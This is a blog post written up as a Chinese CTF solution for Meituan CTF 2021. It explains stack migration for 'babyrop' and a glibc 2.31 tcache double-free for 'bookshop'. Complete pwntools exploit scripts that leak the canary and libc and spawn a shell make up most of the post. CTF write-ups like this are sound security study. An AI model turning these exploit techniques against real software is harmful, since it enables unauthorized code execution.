美团ctf2021

babyrop

栈迁移题目,和一般的不一样平时给的是有很大的bss地址或者直接给stack addr

便于迁移利用,这里这次是真正了解到了万用栈迁移,没有pie就乱杀。

我这里自己写了个demo

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
void pwnme()
{
char buf[24];
read(0,buf,0x30);
}
void main()
{
int i=0;
char buf[24];
for ( i = 0; i <= 24; ++i )
{
if ( (unsigned int)read(0, &buf[i], 1uLL) != 1 || buf[i] == 10 )
{
buf[i] = 0;
break;
}
}
printf("your in put%s\n", buf);
puts("give me another worlds!");
pwnme();
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
r=process('./Stack_migration')
elf=ELF('./Stack_migration')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch = 'amd64'
context.log_level = 'debug'
rdi=0x0000000000400753
pa='a'*25
r.send(pa)
r.recvuntil('a'*25)
canary=u64(r.recv(7)+'\x00')*0x100
log.info("canary: "+hex(canary))

pa='a'*0x18+p64(canary)+p64(0x601930)+p64(0x4005FE)
r.recv()
r.send(pa)

pa=('a'*0x18+p64(canary)+p64(0x601948)+p64(0x4005FE))
r.send(pa)
pa=p64(canary)+p64(0x601960)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4005E7)
r.send(pa)
base=u64(r.recv(6)+'\x00'*2)-libc.sym['puts']
log.info("base: "+hex(base))
system=base+libc.sym['system']
sh=base+libc.search('/bin/sh').next()
r.send('a'*0x18+p64(canary)+p64(0x601970)+p64(0x4005FE))
gdb.attach(r)
r.send(p64(canary)+p64(0x4006E7)+p64(rdi)+p64(sh)+p64(system))
r.interactive()

讲解

没什么好说的,比较重要的是这里

1
2
3
4
5
6
.text:00000000004005FE                 lea     rax, [rbp+buf]
.text:0000000000400602 mov edx, 30h ; '0' ; nbytes
.text:0000000000400607 mov rsi, rax ; buf
.text:000000000040060A mov edi, 0 ; fd
.text:000000000040060F mov eax, 0
.text:0000000000400614 call _read

可以看见rsi的值是rax给到的 rax=rbp+buf rbp我们设定为bss段

那么此时我们就可以在一个很大范围的干净的地方去溢出了,为什么连续做两次

第一次控制rbp 第二次控制rsp。当然也可以常规的去栈迁移,读到bss执行rop

关于demo的详细解释可以看这位大佬的

https://note.youdao.com/ynoteshare/index.html?id=b80b0f6878e1eb120f24dfad941b5664&type=note&_time=1639233123045

babyrop exp

我的好大儿 amall的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

p = process('./babyrop')
elf = ELF('./babyrop')
libc = ELF("/lib/x86_64-linux-gnu/
libc.so.6")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
passwd = 0x4009AE
reread = 0x40072E
leave = 0x400759
bss = 0x601600
rdi = 0x400913
start = 0x400630

sa("What your name?",'a'*25)
ru('a'*25)
canary = u64('\x00'+rx(7))
success(hex(canary))
sla('this challenge',str(passwd))
pl = 'a'*24+p64(canary)+p64(bss)+p64(reread)
sa('your message',pl)
pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)
+p64(bss+0x18)+p64(reread)
pl = pl.ljust(24,'\x00')
sleep(0.1)
s(pl)
pl = p64(0x400878)+p64(0)+p64(0x400744)
+p64(canary)+p64(0x6015d8)+p64(leave)
sleep(0.1)
s(pl)
base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['puts']
ogg = base+0x4f3d5

pl = 'a'*24+p64(canary)+p64(0)+p64(ogg)
s(pl)
shell()

bookshop

uaf,2.31 给的大小很大没什么用,无edit 那就最好想到 fastbin double free。

利用double free 修改chunk size 构造0x420大小的chunk避开tcache减少堆的数量,毕竟这题目就是故意的只给24个chunk。

构造完成后可以泄露libc,再去利用第一次构造遗留下的指针,按特定顺序free

即可形成循环链表,直接改fd,最后hook attack

我们可以看下tc链表

1
2
3
4
pwndbg> bin
tcachebins
0x80 [ 3]: 0x5555555592a0 —▸ 0x5555555592b0 —▸ 0x555555559320 ◂— 0x421

我们再去看看0x2b0里面的东西就可以一目了然了

1
2
3
4
5
pwndbg> x/32gx 0x5555555592b0
0x5555555592b0: 0x0000555555559320 0x0000555555559010
0x5555555592c0: 0x00005555555592a0 0x00005555555592a0
0x5555555592d0: 0x0000000000000421 0x0000000000000421

就是一个简单的循环链表,下次申请读写区域就是在0x2a0但是2a0是free态,fd有效直接写入hook 完事

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
r=process('./bookshop')
#context.log_level='debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(con):
r.sendlineafter(">> ",str(1))
r.sendafter("> ",con)

def dele(idx):
r.sendlineafter(">> ",str(2))
r.sendlineafter("bag?\n",str(idx))

def show(idx):
r.sendlineafter(">> ",str(3))
r.sendlineafter("read?\n",str(idx))

r.recv()
r.sendline(str(0x78))
for i in range(9):
add('1')#0-8
for i in range(9):
dele(i)
dele(7)
show(2)
r.recvuntil("t: ")
base=u64(r.recv(6)+b'\x00'*2)-0x70
print(hex(base))

for i in range(7):
add(p64(0x421)*14)#9-15 伪造chunk

add(p64(base)+p64(0))#16
add(p64(0x21)*14)#17
add(p64(0x21)*14)#18 17-18是为了绕过合并检测
add('a')#19

dele(19)
show(19)

r.recvuntil("t: ")
libc_base=u64(r.recv(6)+b'\x00'*2)-0x1ebbe0
print(hex(libc_base))
f_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
add('a')#20
dele(1)
dele(19)
dele(0)

add(p64(0)*2+p64(f_hook))#21

add('/bin/sh\x00')#22
add(p64(system))#23
dele(22)
#gdb.attach(r)

r.interactive()
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • Copyrights © 2015-2022 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信